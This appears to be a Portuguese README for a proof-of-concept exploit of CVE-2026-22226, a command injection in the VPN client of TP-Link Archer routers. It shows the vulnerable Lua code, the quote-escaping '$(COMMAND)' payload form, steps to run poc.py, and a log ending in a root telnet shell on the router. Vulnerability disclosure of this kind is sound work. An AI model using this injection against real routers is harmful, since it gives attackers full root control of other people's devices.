
Prova de Conceito para a CVE-2026-22226
Prova de conceito para CVE-2026-22226
Injeção de comandos do sistema operacional autenticada no lado da LAN no cliente VPN dos roteadores Wi-Fi TP-Link Archer
O controlador do cliente VPN armazena a descrição da entrada controlada pelo usuário (des) na configuração UCI com uma regex de validação fraca. Quando a entrada é lida posteriormente (durante a edição na WebUI), get_ovpn_data() interpola des em um comando shell entre aspas passado para os.execute() sem qualquer sanitização :
-- get_ovpn_data() in vpn.lua
file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)
O caractere de aspas simples (') passa pela regex de validação, o que é suficiente para escapar das aspas do shell e injetar comandos por meio da substituição $(). Um campo des definido como '$(COMMAND)' transforma o comando em :
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit
Observe que a saída do comando nunca é retornada na resposta HTTP, portanto a injeção é cega. É por isso que precisamos de um canal fora da banda (aqui o script de PoC inicia um servidor telnetd para obter um shell interativo).
[!Note] Eu testei este script apenas em um TP-Link Archer AX73 (AX5400, HW v2.0 EU, FW v1.2.1 - Build 20250717), mas outros dispositivos Archer provavelmente também são vulneráveis.
Este PoC segue este processo :
admin.ovpn fictíciodes envenenado, escapando do contexto entre aspas simples e injetando nosso payload por meio de uma substituição de comandoget_ovpn_data() relendo a entrada, o que alimenta os.execute() com o des envenenado[!Warning] A exploração desta vulnerabilidade leva à execução de comandos do sistema operacional como
rootno roteador (comprometimento total do dispositivo), contornando a validação de entradadespor meio do caractere de aspas simples permitido.
As dependências Python são declaradas inline no script, então você pode executá-lo diretamente com um gerenciador de projetos Python moderno ou instalá-las manualmente com pip :
# using pipx
pipx run poc.py
# using uv
uv run poc.py
# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
defina o IP de destino, as credenciais e o payload em poc.py
execute o script :
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
$ telnet 192.168.0.1 1337
BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux